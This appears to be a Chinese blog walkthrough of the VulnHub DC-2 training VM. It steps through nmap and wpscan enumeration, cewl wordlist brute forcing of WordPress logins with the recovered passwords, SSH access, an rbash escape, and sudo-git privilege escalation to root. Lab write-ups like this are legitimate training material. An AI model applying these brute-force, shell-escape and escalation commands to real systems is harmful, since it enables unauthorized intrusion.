Vulnhub DC-2靶机渗透测试(DC系列)

VulnHub 入门DC系列之DC-2

说明

靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/
渗透靶场:VirtualBox
攻击靶机:本地机+kail(VMware)
Flag:5个

在测试之前需要修改一下host文件的配置,添加渗透靶机的IP地址和域名(访问渗透靶机时80端口时,他会自动跳转成dc-2 不修改会无法访问。)

Vulnhub DC-2靶机渗透测试(DC系列)_第1张图片

host文件位置
kail环境:/etc/host.conf
windows环境:C:\Windows\System32\drivers\etc


文章目录

  • VulnHub 入门DC系列之DC-2
    • 说明
    • 扫描内网 发现主机
    • 扫描主机
    • 获取flag1
    • 获取flag2
      • 生成用户列表
      • 生成密码字典
      • 密码爆破
    • 获取flag3
    • 获取flag4
      • shell绕过限制
    • 获取flag5
      • sudo提权
    • 总结


扫描内网 发现主机

(1)扫描内网,发现目标主机IP

使用命令:arp-scan -l 发现内网中的主机

Vulnhub DC-2靶机渗透测试(DC系列)_第2张图片


扫描主机

(2)利用nmap对目标主机进行端口扫描,发现开放端口:80和7744

使用命令:nmap -sV -p- 192.168.43.32

-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口

Vulnhub DC-2靶机渗透测试(DC系列)_第3张图片

发现开放80端口,则可以进行网页访问。


获取flag1

访问网页,是一个wordpress模板的博客网站,页面可以直接获得flag1

提示使用cewl密码字典生成工具,并且在登录后可以找到下一个flag
Vulnhub DC-2靶机渗透测试(DC系列)_第4张图片


获取flag2

flag1中提示需要登录,但正常访问时,无法找到登录页面,可以使用工具扫描网站目录文件,找到wp-login.php登录页面(当然可以直接猜测,wp模板后台登陆页面默认是wp-login.php,这里并没有改动)。

Vulnhub DC-2靶机渗透测试(DC系列)_第5张图片

一般WordPress网站都会有admin用户,但需要爆破密码

生成用户列表

使用wpscan工具扫描网站,获取可以登录网站的用户名

wpscan --url dc-2 -e u

扫描后可以找到三个用户名:admin、tom、jerry
Vulnhub DC-2靶机渗透测试(DC系列)_第6张图片

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,可以扫描敏感文件、获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。

参数:
–url 扫描网站
-e 枚举
u 枚举用户名,默认从1-10
p 枚举插件
t 枚举主题信息

例:
wpscan --url dc-2 --enumerate vp #扫描易受攻击的插件
wpscan --url dc-2 --enumerate vt #扫描易受攻击的模板
wpscan --url dc-2 -P pwd.txt -U admin #爆破用户密码
wpscan -h //帮助

新建一个.list文件(例如:dc-2users.list)将扫描到的三个用户名添加到该文件中。

vim dc-2users.list

admin
tom
jerry

生成密码字典

使用flag1中提示的工具cewl生成.dic密码字典(例如:dc-2pass.dic)

cewl dc-2 -w dc-2.dic

Cewl是以爬虫模式在指定URL上收集单词的工具,并将其制作成密码字典,以提高密码破解工具的成功率。有点撞库的意味

使用:
cewl url -w xxx.dic

密码爆破

依然使用wpscang工具,进行密码爆破

wpscan --url dc-2 -P pwd.txt -U admin   //爆破admin的密码,无法爆出
wpscan --url dc-2 -P pwd.txt -U jerry   //爆破jerry密码为 adipiscing
wpscan --url dc-2 -P pwd.txt -U tom		//爆破tom密码为 parturient

使用jerry用户登录论坛,在Page中获得flag2
Vulnhub DC-2靶机渗透测试(DC系列)_第7张图片


获取flag3

在flag2中提示访问80端口不是正确的方法,需要换另一种途径

利用nmap扫描端口时还发现 7744端口 (ssh服务)打开,在默认环境下ssh是22端口,这里测试一下进行连接。

SSH是标准的网络协议,能够实现字符界面的远程登录管理,默认使用22号端口,采用密文的形式在网络中传输数据,相对于通过明文传输的Telnet,具有更高的安全性。

使用jerry用户登录失败,使用tom用户登录成功(密码为之前爆破出的wordpress用户密码)

ssh [email protected] -p 7744

Vulnhub DC-2靶机渗透测试(DC系列)_第8张图片
使用ls 可以发现目录中有flag3.txt,使用cat命令查看发现无法执行,文件提示是只能使用less、ls、scp、vi命令。
Vulnhub DC-2靶机渗透测试(DC系列)_第9张图片

Vulnhub DC-2靶机渗透测试(DC系列)_第10张图片
但还是可以用vi命令读取flag3.txt文件内容


获取flag4

查看flag3.txt内容

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。

这里其实侧面的说明了tom用户和jerry用户 提示说需要使用su命令修改为jerry用户

shell绕过限制

这里我们的命令都被限制,显示了 -rbash

rbash是Restricted Shell,即受限的shell,它与一般标准shell的区别在于会限制执行一些行为。


常见的绕过方式:https://www.freebuf.com/articles/system/188989.html

绕过shell限制方法:

BASH_CMDS[a]=/bin/sh;a     #调用/bin/sh命令解释器
/bin/bash
export PATH=$PATH:/bin/    #设置环境变量
export PATH=$PATH:/usr/bin

获得shell权限
Vulnhub DC-2靶机渗透测试(DC系列)_第11张图片
使用su 以 jerry用户登录(密码:adipiscing)

并切换到jerry的目录下,可以获得到flag4文件

Vulnhub DC-2靶机渗透测试(DC系列)_第12张图片


获取flag5

查看flag4文件内容,可以获得提示,使用git目录获取flag

Vulnhub DC-2靶机渗透测试(DC系列)_第13张图片

sudo提权

sudo是赋予普通用户某个命令有root权限,且不需要root密码,是一种临时的权限

方法一:使用git来启动一个root权限的shell

执行命令,可以发现 git 命令有root权限,使用git来启动一个root权限的shell

//PS:使用这个前需要先将/usr/bin引入环境变量  

sudo -l    #查看可以使用root权限无密码的命令,有git命令
sudo git -p --help  #提权

Vulnhub DC-2靶机渗透测试(DC系列)_第14张图片
执行命令 !/bin/bash 获得root权限
Vulnhub DC-2靶机渗透测试(DC系列)_第15张图片

方法二:使用 git 修改root权限的密码

sudo git -pv --help  #提权
passwd  root   #修改root密码

Vulnhub DC-2靶机渗透测试(DC系列)_第16张图片

Vulnhub DC-2靶机渗透测试(DC系列)_第17张图片


总结

要点:前端爆破 cewl获取用户名、rbash设置与绕过、sudo提权

(1)rbash设置与绕过
rbash是Restricted Shell,既受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
常见的绕过方式:https://www.freebuf.com/articles/system/188989.html

(2)sudo提权 - git提权
https://gtfobins.github.io/gtfobins/git/

(3)前端爆破 cewl获取用户名
Cewl 是以爬虫模式在指定URL上收集单词的工具,并将其制作成密码字典,以提高密码破解工具的成功率。有点撞库的意味


永远不要停下学习的脚步

你可能感兴趣的:(Vulnhub靶场)